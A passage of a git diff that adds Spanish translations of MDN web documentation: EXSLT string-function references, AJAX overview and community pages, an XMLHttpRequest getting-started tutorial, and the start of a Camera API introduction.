+<h3 id="Implementaci.C3.B3n_en_Gecko" name="Implementaci.C3.B3n_en_Gecko">Implementación en Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/str/index.html b/files/es/web/exslt/str/index.html
new file mode 100644
index 0000000000..3248d655dc
--- /dev/null
+++ b/files/es/web/exslt/str/index.html
@@ -0,0 +1,6 @@
+---
+title: str
+slug: Web/EXSLT/str
+translation_of: Web/EXSLT/str
+---
+<p>{{wiki.localize('System.API.page-generated-for-subpage')}}</p>
diff --git a/files/es/web/exslt/str/split/index.html b/files/es/web/exslt/str/split/index.html
new file mode 100644
index 0000000000..7d7c16213a
--- /dev/null
+++ b/files/es/web/exslt/str/split/index.html
@@ -0,0 +1,52 @@
+---
+title: split
+slug: Web/EXSLT/str/split
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/str/split
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>str:split()</code> divide una cadena usando una cadena patrón que determina donde deberían ocurrir las divisiones y devuelve un conjunto de nodos que contiene las cadenas resultantes.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">str:split(<em>cadena</em>,<em>patron</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>cadena</em></code></dt>
+ <dd>La cadena a dividir.</dd>
+ <dt><code><em>patron</em></code></dt>
+ <dd>El patrón que indica por donde dividir la cadena.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un conjunto de nodos de elementos <code>token</code>, donde cada uno contiene un trozo (token) de la <code><em>cadena</em></code>.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="eval">str:split('libro, teléfono, ordenador, silla', ', ')
+</pre>
+
+<p>Devuelve un conjunto de nodos como este:</p>
+
+<pre class="eval">&lt;token&gt;libro&lt;/token&gt;
+&lt;token&gt;teléfono&lt;/token&gt;
+&lt;token&gt;ordenador&lt;/token&gt;
+&lt;token&gt;silla&lt;/token&gt;
+</pre>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/str/functions/split/index.html">EXSLT - STR:SPLIT</a></p>
+
+<h3 id="Implementaci.C3.B3n_en_Gecko" name="Implementaci.C3.B3n_en_Gecko">Implementación en Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/str/tokenize/index.html b/files/es/web/exslt/str/tokenize/index.html
new file mode 100644
index 0000000000..78004c0462
--- /dev/null
+++ b/files/es/web/exslt/str/tokenize/index.html
@@ -0,0 +1,54 @@
+---
+title: tokenize
+slug: Web/EXSLT/str/tokenize
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/str/tokenize
+---
+<p>{{XsltRef}} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>str:tokenize()</code> divide una cadena usando un conjunto de caracteres como delimitadores que determinan donde deberían ocurrir las divisiones, devolviendo un conjunto de nodos que contiene las cadenas resultantes.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">str:tokenize(<em>cadena</em>,<em>delimitadores</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>cadena</em></code></dt>
+ <dd>La cadena a dividir.</dd>
+ <dt><code><em>delimitadores</em></code></dt>
+ <dd>Cada uno de los caracteres de esta cadena usados como separadores de palabras en la división.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un conjunto de nodos de elementos <code>token</code>, que contiene cada uno un trozo (token) de la <code><em>cadena</em></code>.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="eval">str:tokenize('2007-09-14-03T11:40:23', '-T:')
+</pre>
+
+<p>Devuelve un conjunto de nodos como este:</p>
+
+<pre class="eval">&lt;token&gt;2007&lt;/token&gt;
+&lt;token&gt;09&lt;/token&gt;
+&lt;token&gt;14&lt;/token&gt;
+&lt;token&gt;11&lt;/token&gt;
+&lt;token&gt;40&lt;/token&gt;
+&lt;token&gt;23&lt;/token&gt;
+</pre>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/str/functions/tokenize/index.html">EXSLT - STR:TOKENIZE</a></p>
+
+<h3 id="Implementaci.C3.B3n_en_Gecko" name="Implementaci.C3.B3n_en_Gecko">Implementación en Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/guide/ajax/comunidad/index.html b/files/es/web/guide/ajax/comunidad/index.html
new file mode 100644
index 0000000000..50a91de5a4
--- /dev/null
+++ b/files/es/web/guide/ajax/comunidad/index.html
@@ -0,0 +1,44 @@
+---
+title: Comunidad
+slug: Web/Guide/AJAX/Comunidad
+tags:
+  - AJAX
+  - Todas_las_Categorías
+translation_of: Web/Guide/AJAX/Community
+---
+<p> </p>
+<p><br>
+ Si conoces alguna lista de correo, grupo de noticias, foro, o comunidad relacionada con AJAX que pueda ser de interés. Por favor, pon aquí un enlace.</p>
+<h3 id="Mozilla" name="Mozilla">Mozilla</h3>
+<ul>
+ <li>La comunidad Mozilla... en inglés</li>
+</ul>
+<p>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}</p>
+<h3 id="Listas_de_correo" name="Listas_de_correo">Listas de correo</h3>
+<ul>
+ <li> </li>
+</ul>
+<p> </p>
+<h3 id="Foros" name="Foros">Foros</h3>
+<ul>
+ <li><a class="external" href="http://www.forosdelweb.com/forumdisplay.php?f=77">AJAX</a> en
+  <i>
+   Foros del Web</i>
+ </li>
+</ul>
+<h3 id="Bit.C3.A1coras" name="Bit.C3.A1coras">Bitácoras</h3>
+<ul>
+ <li> </li>
+</ul>
+<p> </p>
+<h3 id="Wikis" name="Wikis">Wikis</h3>
+<ul>
+ <li> </li>
+</ul>
+<p> </p>
+<h3 id="Otros_Sitios" name="Otros_Sitios">Otros Sitios</h3>
+<ul>
+ <li> </li>
+</ul>
+<p> </p>
+<p><span class="comment">categorías</span></p>
diff --git a/files/es/web/guide/ajax/index.html b/files/es/web/guide/ajax/index.html
new file mode 100644
index 0000000000..25c1dba553
--- /dev/null
+++ b/files/es/web/guide/ajax/index.html
@@ -0,0 +1,90 @@
+---
+title: AJAX
+slug: Web/Guide/AJAX
+translation_of: Web/Guide/AJAX
+---
+<p> </p>
+
+<div class="callout-box"><strong><a href="es/AJAX/Primeros_Pasos">Primeros Pasos</a></strong><br>
+Una introducción a AJAX.</div>
+
+<p><strong>JavaScript Asíncrono + XML (AJAX)</strong> no es una tecnología por sí misma, es un término que describe un nuevo modo de utilizar conjuntamente varias tecnologías existentes. Esto incluye: <a href="es/HTML">HTML</a> o <a href="es/XHTML">XHTML</a>, <a href="es/CSS">CSS</a>, <a href="es/JavaScript">JavaScript</a>, <a href="es/DOM">DOM</a>, <a href="es/XML">XML</a>, <a href="es/XSLT">XSLT</a>, y lo más importante, el objeto <a href="es/XMLHttpRequest">XMLHttpRequest</a>. Cuando estas tecnologías se combinan en un modelo AJAX, es posible lograr aplicaciones web capaces de actualizarse continuamente sin tener que volver a cargar la página completa. Esto crea aplicaciones más rápidas y con mejor respuesta a las acciones del usuario.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"><a href="/Special:Tags?tag=AJAX&amp;language=es" title="Special:Tags?tag=AJAX&amp;language=es">Documentación</a></h4>
+
+    <dl>
+     <dt><a href="/es/AJAX/Primeros_Pasos" title="es/AJAX/Primeros_Pasos">Primeros pasos con AJAX</a></dt>
+     <dd><small>Este artículo te guiará por los conceptos básicos de AJAX y te proporcionará dos ejemplos prácticos para que empieces.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.webreference.com/programming/ajax_tech/">Técnicas Ajax Alternativas</a></dt>
+     <dd><small>La mayoría de los artículos sobre Ajax se enfocaron en utilizar XMLHttp como el medio para llevar a cabo dicha comunicación, pero las técnicas Ajax no están limitadas solo a XMLHttp. Existen otros métodos más.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://thinkcoderepeat.blogspot.com/2006/02/tutorial-de-ajax-con-php-y-json.html">Ajax con PHP, JSON y CSS</a></dt>
+     <dd><small>Con este tutorial puedes programar con AJAX utilizando PHP y JSON, un nuevo estándar más simple que XML. Programarás en AJAX, PHP y CSS de forma simple y natural.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://webdev20.blogspot.com/2006/02/ajax-upload-file.html">Ajax Upload File</a></dt>
+     <dd><small>Artículo en el que se explica la carga de archivos de un formulario usando AJAX y PHP, además de otros ejemplos en los que se puede visualizar la barra de progreso de la carga.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.baluart.net/articulo/346/edicion-in-situ-con-ajax.php">Creando formulario editables in situ</a></dt>
+     <dd><small>Breve tutorial que nos muestra como crear nuestros formularios editables in situ con AJAX, PHP y MySQL, al estilo Flickr.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://thinkcoderepeat.blogspot.com/2006/08/arquitectura-cliente-servidor-con-ajax.html">Arquitectura Cliente Servidor con AJAX</a></dt>
+     <dd><small>Artículo avanzado que muestra un patrón de diseño para desarrollar con AJAX, haciendo el modelo de la aplicación como web-services, la interface (view) con HTML y el controlador (controller) en Javascript, para crear aplicaciones siguiendo el paradigma MVC. Herramientas: Prototype, JSON y CSS.</small></dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/Special:Tags?tag=AJAX&amp;language=es" title="Special:Tags?tag=AJAX&amp;language=es">Ver todos</a></span></p>
+   </td>
+   <td>
+    <h4 id="Comunidad" name="Comunidad">Comunidad</h4>
+
+    <ul>
+     <li><a class="external" href="http://groups.google.es/group/Ajax-es?lnk=sg&amp;hl=es">Ajax-es</a>. Foro sobre AJAX.</li>
+    </ul>
+
+    <ul>
+     <li>Foros sobre AJAX en la comunidad Mozilla en inglés:</li>
+    </ul>
+
+    <p>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}</p>
+
+    <p><span class="alllinks"><a href="es/AJAX/Comunidad">Ver todos</a></span></p>
+
+    <h4 id="Herramientas" name="Herramientas">Herramientas</h4>
+
+    <ul>
+     <li><a class="external" href="http://www.ajaxprojects.com">Toolkits y Frameworks</a></li>
+     <li><a class="external" href="http://www.getfirebug.com/">Firebug - Herramienta de Desarrollo Ajax/Web</a></li>
+     <li><a class="external" href="http://blog.monstuff.com/archives/000252.html">Herramienta de Depuración de AJAX</a></li>
+     <li><a class="external" href="http://www.osflash.org/doku.php?id=flashjs">Kit de Integración Flash/AJAX</a></li>
+     <li><a class="external" href="http://xkr.us/code/javascript/XHConn/">Una Simple Librería de Interfaz XMLHTTP</a></li>
+    </ul>
+
+    <p><span class="alllinks"><a href="/Special:Tags?tag=AJAX:Herramientas&amp;language=es" title="Special:Tags?tag=AJAX:Herramientas&amp;language=es">Ver todos</a></span></p>
+
+    <h4 id="Temas_relacionados" name="Temas_relacionados">Temas relacionados</h4>
+
+    <dl>
+     <dd><a href="es/HTML">HTML</a> · <a href="es/XHTML">XHTML</a> · <a href="es/CSS">CSS</a> · <a href="es/DOM">DOM</a> · <a href="es/JavaScript">JavaScript</a> · <a href="es/XML">XML</a> · <a href="es/XMLHttpRequest">XMLHttpRequest</a> · <a href="es/XSLT">XSLT</a> · <a href="es/DHTML">DHTML</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "ca": "ca/AJAX", "cs": "cs/AJAX", "en": "en/AJAX", "fr": "fr/AJAX", "it": "it/AJAX", "ja": "ja/AJAX", "ko": "ko/AJAX", "nl": "nl/AJAX", "pl": "pl/AJAX", "pt": "pt/AJAX", "ru": "ru/AJAX", "zh-cn": "cn/AJAX", "zh-tw": "zh_tw/AJAX" } ) }}</p>
diff --git a/files/es/web/guide/ajax/primeros_pasos/index.html b/files/es/web/guide/ajax/primeros_pasos/index.html
new file mode 100644
index 0000000000..ed2bbbc33f
--- /dev/null
+++ b/files/es/web/guide/ajax/primeros_pasos/index.html
@@ -0,0 +1,231 @@
+---
+title: Primeros Pasos
+slug: Web/Guide/AJAX/Primeros_Pasos
+tags:
+  - AJAX
+  - API
+  - Avanzado
+  - Todas_las_Categorías
+  - XMLHttpRequest
+translation_of: Web/Guide/AJAX/Getting_Started
+---
+<p> </p>
+
+<p>Este artículo es una guía básica sobre AJAX e incluye dos ejemplos.</p>
+
+<h3 id=".C2.BFQu.C3.A9_es_AJAX.3F" name=".C2.BFQu.C3.A9_es_AJAX.3F">¿Qué es AJAX?</h3>
+
+<p>AJAX (JavaScript Asíncrono y XML) es un término nuevo para describir dos capacidades de los navegadores que han estado presentes por años, pero que habían sido ignoradas por muchos desarrolladores Web, hasta hace poco que surgieron aplicaciones como Gmail, Google suggest y Google Maps.</p>
+
+<p>Las dos capacidades en cuestión son:</p>
+
+<ul>
+ <li>La posibilidad de hacer peticiones al servidor sin tener que volver a cargar la página.</li>
+ <li>La posibilidad de analizar y trabajar con documentos XML.</li>
+</ul>
+
+<h3 id="Primer_Paso_.E2.80.93_C.C3.B3mo_realizar_una_petici.C3.B3n_HTTP_al_servidor" name="Primer_Paso_.E2.80.93_C.C3.B3mo_realizar_una_petici.C3.B3n_HTTP_al_servidor">Primer Paso – Cómo realizar una petición HTTP al servidor</h3>
+
+<p>Para realizar una petición HTTP usando JavaScript, es necesario crear una instancia de una clase que provea esta funcionalidad. Esta clase fue inicialmente introducida en Internet Explorer como un objeto ActiveX, llamado <code>XMLHTTP</code>. Después Mozilla, Safari y otros navegadores lo siguieron, implementando una clase <code>XMLHttpRequest</code> que soportaba los métodos y las propiedades del objeto ActiveX original.</p>
+
+<p>Como resultado, para crear una instancia de la clase requerida que funcione en todos los navegadores, es necesario poner:</p>
+
+<pre>if (window.XMLHttpRequest) { // Mozilla, Safari, ...
+    http_request = new XMLHttpRequest();
+} else if (window.ActiveXObject) { // IE
+    http_request = new ActiveXObject("Microsoft.XMLHTTP");
+}
+</pre>
+
+<p>(El código mostrado es una versión simplificada con fines ilustrativos. Para un ejemplo más realista ver el paso 3 de este artículo.)</p>
+
+<p>Algunas versiones de los navegadores Mozilla no funcionan correctamente si la respuesta del servidor no tiene la cabecera mime de tipo XML. En ese caso es posible usar un método extra que sobreescriba la cabecera enviada por el servidor, en caso que no sea <code>text/xml</code>.</p>
+
+<pre>http_request = new XMLHttpRequest();
+http_request.overrideMimeType('text/xml');
+</pre>
+
+<p>El próximo paso es decidir qué se hará después de recibir la respuesta del servidor a la petición enviada. A estas alturas sólo es necesario decirle al objeto HTTPrequest qué función de JavaScript se encargará de procesar la respuesta. Para esto se asigna la propiedad <code>onreadystatechange</code> del objeto al nombre de la función de JavaScript que se va a utilizar:</p>
+
+<p><code>http_request.onreadystatechange = nameOfTheFunction;</code></p>
+
+<p>Es importante notar que no hay paréntesis después del nombre de la función y no se pasa ningún parámetro. También es posible definir la función en ese momento, y poner en seguida las acciones que procesarán la respuesta:</p>
+
+<pre>http_request.onreadystatechange = function(){
+    // procesar la respuesta
+};
+</pre>
+
+<p>Después de especificar qué pasará al recibir la respuesta es necesario hacer la petición. Para esto se utilizan los métodos <code>open()</code> y <code>send()</code> de la clase HTTP request, como se muestra a continuación:</p>
+
+<pre>http_request.open('GET', 'http://www.example.org/algun.archivo', true);
+http_request.send();
+</pre>
+
+<ul>
+ <li>El primer parámetro de la llamada a <code>open()</code> es el método HTTP request – GET, POST, HEAD o cualquier otro método que se quiera usar y sea aceptado por el servidor. El nombre del método se escribe en mayúsculas, sino algunos navegadores (como Firefox) podrían no procesar la petición. Para más información sobre los métodos HTTP request visitar <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">W3C specs</a></li>
+ <li>El segundo parámetro es el URL de la página que se esta pidiendo. Por medida de seguridad no es posible llamar páginas en dominios de terceras personas. Se debe saber el dominio exacto de todas las páginas o se obtendrá un error de 'permiso denegado' al llamar open(). Una falla común es acceder al sitio por domain.tld e intentar llamar las páginas como www.domain.tld.</li>
+ <li>El tercer parámetro establece si la petición es asíncrona. Si se define <code>TRUE</code>, la ejecución de la función de JavaScript continuará aún cuando la respuesta del servidor no haya llegado. Por esta capacidad es la A en AJAX.</li>
+</ul>
+
+<p>El parámetro en el método <code>send()</code>puede ser cualquier información que se quiera enviar al servidor si se usa POST para la petición. La información se debe enviar en forma de cadena, por ejemplo:</p>
+
+<p><code>name=value&amp;anothername=othervalue&amp;so=on</code></p>
+
+<p>Si se quiere enviar información de esta forma, es necesario cambiar el tipo MIME de la petición usando la siguiente línea:</p>
+
+<pre>http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+</pre>
+
+<p>De otro modo el servidor descartará la información.</p>
+
+<h3 id="Segundo_Paso_.E2.80.93_Procesando_la_respuesta_del_servidor" name="Segundo_Paso_.E2.80.93_Procesando_la_respuesta_del_servidor">Segundo Paso – Procesando la respuesta del servidor</h3>
+
+<p>Al enviar la petición HTTP es necesario indicar el nombre de la función JavaScript que procesará la respuesta.</p>
+
+<p><code>http_request.onreadystatechange = nameOfTheFunction;</code></p>
+
+<p>A continuación se verá lo que esta función realiza. En primer lugar necesita revisar el estado de la petición. Si el estado tiene el valor 4, significa que la respuesta completa del servidor ha sido recibida y es posible continuar procesándola.</p>
+
+<pre>if (http_request.readyState == 4) {
+    // todo va bien, respuesta recibida
+} else {
+    // aun no esta listo
+}
+</pre>
+
+<p>La lista completa de valores para la propiedad <code>readyState</code> es:</p>
+
+<ul>
+ <li>0 (no inicializada)</li>
+ <li>1 (leyendo)</li>
+ <li>2 (leido)</li>
+ <li>3 (interactiva)</li>
+ <li>4 (completo)</li>
+</ul>
+
+<p>(<a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/readystate_1.asp">Source</a>)</p>
+
+<p>Ahora es necesario revisar el código de status de la respuesta HTTP. La lista completa de códigos aparece en el <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">sitio de la W3C</a>. Para el próposito de este artículo sólo es importante el código <code>200 OK</code>.</p>
+
+<pre>if (http_request.status == 200) {
+    // perfect!
+} else {
+    // hubo algún problema con la petición,
+    // por ejemplo código de respuesta 404 (Archivo no encontrado)
+    // o 500 (Internal Server Error)
+}
+</pre>
+
+<p>Después de haber revisado el estado de la petición y el código de status de la respuesta, depende de uno hacer cualquier cosa con la información que el servidor ha entregado. Existen dos opciones para tener acceso a esa información:</p>
+
+<ul>
+ <li><code>http_request.responseText</code> – regresará la respuesta del servidor como una cadena de texto.</li>
+ <li><code>http_request.responseXML</code> – regresará la respuesta del servidor como un objeto <code>XMLDocument</code> que se puede recorrer usando las funciones de JavaScript DOM.</li>
+</ul>
+
+<h3 id="Tercer_Paso_.E2.80.93_.22.C2.A1Ahora_todo_junto.21.22_-_Un_sencillo_ejemplo" name="Tercer_Paso_.E2.80.93_.22.C2.A1Ahora_todo_junto.21.22_-_Un_sencillo_ejemplo">Tercer Paso – "¡Ahora todo junto!" - Un sencillo ejemplo</h3>
+
+<p>En este ejemplo se utilizará todo lo que se ha visto para hacer una petición HTTP. Se pedirá un documento HTML llamado <code>test.html</code>, que contiene el texto "Esto es una prueba." y después usaremos la función <code>alert()</code> con el contenido del archivo <code>test.html</code> .</p>
+
+<pre>&lt;script type="text/javascript" language="javascript"&gt;
+
+    var http_request = false;
+
+    function makeRequest(url) {
+
+        http_request = false;
+
+        if (window.XMLHttpRequest) { // Mozilla, Safari,...
+            http_request = new XMLHttpRequest();
+            if (http_request.overrideMimeType) {
+                http_request.overrideMimeType('text/xml');
+                // Ver nota sobre esta linea al final
+            }
+        } else if (window.ActiveXObject) { // IE
+            try {
+                http_request = new ActiveXObject("Msxml2.XMLHTTP");
+            } catch (e) {
+                try {
+                    http_request = new ActiveXObject("Microsoft.XMLHTTP");
+                } catch (e) {}
+            }
+        }
+
+        if (!http_request) {
+            alert('Falla :( No es posible crear una instancia XMLHTTP');
+            return false;
+        }
+        http_request.onreadystatechange = alertContents;
+        http_request.open('GET', url, true);
+        http_request.send();
+
+    }
+
+    function alertContents() {
+
+        if (http_request.readyState == 4) {
+            if (http_request.status == 200) {
+                alert(http_request.responseText);
+            } else {
+                alert('Hubo problemas con la petición.');
+            }
+        }
+
+    }
+&lt;/script&gt;
+&lt;span
+    style="cursor: pointer; text-decoration: underline"
+    onclick="makeRequest('test.html')"&gt;
+        Hacer una petición
+&lt;/span&gt;
+</pre>
+
+<p>En este ejemplo:</p>
+
+<ul>
+ <li>El usuario presiona el vínculo "Hacer una petición" en el navegador;</li>
+ <li>Esto llama la función <code>makeRequest()</code> que tiene como parámetro <code>test.html</code> que es un archivo HTML localizado en el mismo directorio;</li>
+ <li>La petición es realizada y después (<code>onreadystatechange</code>) la ejecución pasa a <code>alertContents()</code>;</li>
+ <li><code>alertContents()</code> verifica si la respuesta fue recibida y si es OK, si es así utiliza <code>alert()</code> con el contenido de <code>test.html</code>.</li>
+</ul>
+
+<p>Puedes probar el ejemplo <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test.html">aquí</a> y puedes ver el archivo de prueba <a class="external" href="http://www.w3clubs.com/mozdev/test.html">aquí</a>.</p>
+
+<p><strong>Nota</strong>: La línea <code> http_request.overrideMimeType('text/xml');</code> arriba causaría problemas en la consola de Javascript de Firefox 1.5b, como esta descrito en <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=311724" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=311724</a>, si la página llamada por XMLHttpRequest no es XML válido (por ejemplo, si es texto).</p>
+
+<p>Si se obtiene Syntax Error o Not Well Formed Error en el navegador, y no se está intentando cargar una página XML con XMLHttpRequest, se puede eliminar esa línea del código.</p>
+
+<h3 id="Cuarto_Paso_.E2.80.93_Trabajando_con_la_respuesta_XML" name="Cuarto_Paso_.E2.80.93_Trabajando_con_la_respuesta_XML">Cuarto Paso – Trabajando con la respuesta XML</h3>
+
+<p>En el ejemplo anterior se utilizo la propiedad <code>reponseText</code> del objeto pedido para mostrar el contenido de <code>test.html</code> una vez que la respuesta HTTP había sido recibida. En éste se utilizará la propiedad <code>responseXML</code>.</p>
+
+<p>Primero hay que crear un documento de XML válido. El documento (test.xml) contiene lo siguiente:</p>
+
+<pre>&lt;?xml version="1.0" ?&gt;
+&lt;root&gt;
+    Esto es una prueba.
+&lt;/root&gt;
+</pre>
+
+<p>Para que funcione el script solo es necesario cambiar la línea de petición por:</p>
+
+<pre>...
+onclick="makeRequest('test.xml')"&gt;
+...
+</pre>
+
+<p>Y en <code>alertContents()</code> es necerario remplazar la línea donde aparece <code>alert(http_request.responseText);</code> por:</p>
+
+<pre>var xmldoc = http_request.responseXML;
+var root_node = xmldoc.getElementsByTagName('root').item(0);
+alert(root_node.firstChild.data);
+</pre>
+
+<p>De esta manera se utiliza el objeto <code>XMLDocument</code> dado por <code>responseXML</code> y se usan métodos del DOM para acceder a la información contenida en el documento XML. El archivo <code>test.xml</code> se encuentra <a class="external" href="http://www.w3clubs.com/mozdev/test.xml">aquí</a> y el script actualizado está <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test_xml.html">aquí</a>.</p>
+
+<p>Para más información sobre los metodos del DOM, visita los documentos de la <a class="external" href="http://www.mozilla.org/docs/dom/">implementación del DOM de Mozilla</a>.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "ca": "ca/AJAX/Primers_passos", "de": "de/AJAX/Getting_Started", "en": "en/AJAX/Getting_Started", "fr": "fr/AJAX/Premiers_pas", "it": "it/AJAX/Iniziare", "ja": "ja/AJAX/Getting_Started", "ko": "ko/AJAX/Getting_Started", "pl": "pl/AJAX/Na_pocz\u0105tek", "pt": "pt/AJAX/Como_come\u00e7ar", "ru": "ru/AJAX/\u0421_\u0447\u0435\u0433\u043e_\u043d\u0430\u0447\u0430\u0442\u044c", "zh-cn": "cn/AJAX/\u5f00\u59cb", "zh-tw": "zh_tw/AJAX/\u4e0a\u624b\u7bc7" } ) }}</p>
diff --git a/files/es/web/guide/api/camera/index.html b/files/es/web/guide/api/camera/index.html
new file mode 100644
index 0000000000..e3d291bfc3
--- /dev/null
+++ b/files/es/web/guide/api/camera/index.html
@@ -0,0 +1,244 @@
+---
+title: Introducción a la API de Cámara
+slug: Web/Guide/API/Camera
+tags:
+  - DOM
+  - Intermedio
+  - Medios
+  - NecesitaActualización
+  - Referencia DOM Gecko
+  - Web API
+  - cámara
+translation_of: Archive/B2G_OS/API/Camera_API/Introduction
+---
+<p><span class="seoSummary">Mediante la <a class="link-https" href="https://wiki.mozilla.org/Platform/Features/Camera_API">API de Cámara</a>, es posible tomar fotografías con la cámara de su dispositivo y subirlas a una página web.</span> Esto se logra a través de un elemento <code>input</code> con los atributos <code>type="file"</code> y <code>accept</code> para declarar que el elemento acepta imágenes. El HTML se parece a esto:</p>
+
+<pre class="brush: html">&lt;input type="file" id="take-picture" accept="image/*"&gt;
+</pre>
+
+<p>Cuando los usuarios eligen activar este elemento HTML, se les presenta la opción de seleccionar un fichero, donde la cámara del dispositivo es una de las opciones. Si seleccionan la cámara, se accede al modo de toma de fotografía. Tras realizar la fotografía, al usuario se le presenta la posibilidad de aceptarla o rechazarla. Si se acepta, es enviada al elemento <code>&lt;input type="file"&gt;</code> y se lanza su evento <code>onchange</code>.</p>
+
+<h2 id="Obtener_una_referencia_a_la_fotografía_tomada">Obtener una referencia a la fotografía tomada</h2>
+
+<p>Con la ayuda de la <a href="/en/Using_files_from_web_applications" title="en/Using_files_from_web_applications">API de Fichero</a> usted puede acceder a la fotografía tomada o el fichero elegido:</p>
+
+<pre class="brush: js">var takePicture = document.querySelector("#take-picture");
+takePicture.onchange = function (event) {
+    // Obtener una referencia a la fotografía tomada o fichero seleccionado
+    var files = event.target.files,
+        file;
+    if (files &amp;&amp; files.length &gt; 0) {
+        file = files[0];
+    }
+};
+</pre>
+
+<h2 id="Presentando_la_fotografía_en_la_página_web">Presentando la fotografía en la página web</h2>
+
+<p>Una vez que tiene una referencia a la fotografía tomada (ej.: fichero), puede entonces usar {{ domxref("window.URL.createObjectURL()") }} para crear una URL referenciando la fotografía y estableciéndola como <code>src</code> de una imagen:</p>
+
+<pre class="brush: js">// Referencia de la imagen
+var showPicture = document.querySelector("#show-picture");
+
+// Crear ObjectURL
+var imgURL = window.URL.createObjectURL(file);
+
+// Establecer ObjectURL como img src
+showPicture.src = imgURL;
+
+// Por razones de rendimiento, revocar los ObjectURL usados
+URL.revokeObjectURL(imgURL);
+</pre>
+
+<p>Si <code>createObjectURL()</code> no es soportado, una alternativa es retroceder a {{ domxref("FileReader") }}:</p>
+
+<pre class="brush: js">// Retroceder a FileReader si createObjectURL no está soportado
+var fileReader = new FileReader();
+fileReader.onload = function (event) {
+    showPicture.src = event.target.result;
+};
+fileReader.readAsDataURL(file);
+</pre>
+
+<h2 id="Ejemplo_completo">Ejemplo completo</h2>
+
+<p>Si desea verlo en acción, eche un vistazo al <a class="external" href="http://robnyman.github.com/camera-api/">ejemplo completo de la API de Cámara funcionando</a>.</p>
+
+<p>Aquí está el código usado para esa demostración:</p>
+
+<h3 id="Página_HTML">Página HTML</h3>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+    &lt;head&gt;
+        &lt;meta charset="utf-8"&gt;
+        &lt;title&gt;Camera API&lt;/title&gt;
+        &lt;link rel="stylesheet" href="css/base.css" type="text/css" media="screen"&gt;
+    &lt;/head&gt;
+
+    &lt;body&gt;
+
+        &lt;div class="container"&gt;
+            &lt;h1&gt;Camera API&lt;/h1&gt;
+
+            &lt;section class="main-content"&gt;
+                &lt;p&gt;A demo of the Camera API, currently implemented in Firefox and Google Chrome on Android. Choose to take a picture with your device's camera and a preview will be shown through createObjectURL or a FileReader object (choosing local files supported too).&lt;/p&gt;
+
+                &lt;p&gt;
+                    &lt;input type="file" id="take-picture" accept="image/*"&gt;
+                &lt;/p&gt;
+
+                &lt;h2&gt;Preview:&lt;/h2&gt;
+                &lt;p&gt;
+                    &lt;img src="about:blank" alt="" id="show-picture"&gt;
+                &lt;/p&gt;
+
+                &lt;p id="error"&gt;&lt;/p&gt;
+
+            &lt;/section&gt;
+
+            &lt;p class="footer"&gt;All the code is available in the &lt;a href="https://github.com/robnyman/robnyman.github.com/tree/master/camera-api"&gt;Camera API repository on GitHub&lt;/a&gt;.&lt;/p&gt;
+        &lt;/div&gt;
+
+
+        &lt;script src="js/base.js"&gt;&lt;/script&gt;
+
+
+    &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Fichero_JavaScript">Fichero JavaScript</h3>
+
+<pre class="brush: js">(function () {
+    var takePicture = document.querySelector("#take-picture"),
+        showPicture = document.querySelector("#show-picture");
+
+    if (takePicture &amp;&amp; showPicture) {
+        // Establecer eventos
+        takePicture.onchange = function (event) {
+            // Obtener una referencia a la fotografía tomada o fichero seleccionado
+            var files = event.target.files,
+                file;
+            if (files &amp;&amp; files.length &gt; 0) {
+                file = files[0];
+                try {
+                    // Crear ObjectURL
+                    var imgURL = window.URL.createObjectURL(file);
+
+                    // Establecer ObjectURL como img src
+                    showPicture.src = imgURL;
+
+                    // Revocar ObjectURL
+                    URL.revokeObjectURL(imgURL);
+                }
+                catch (e) {
+                    try {
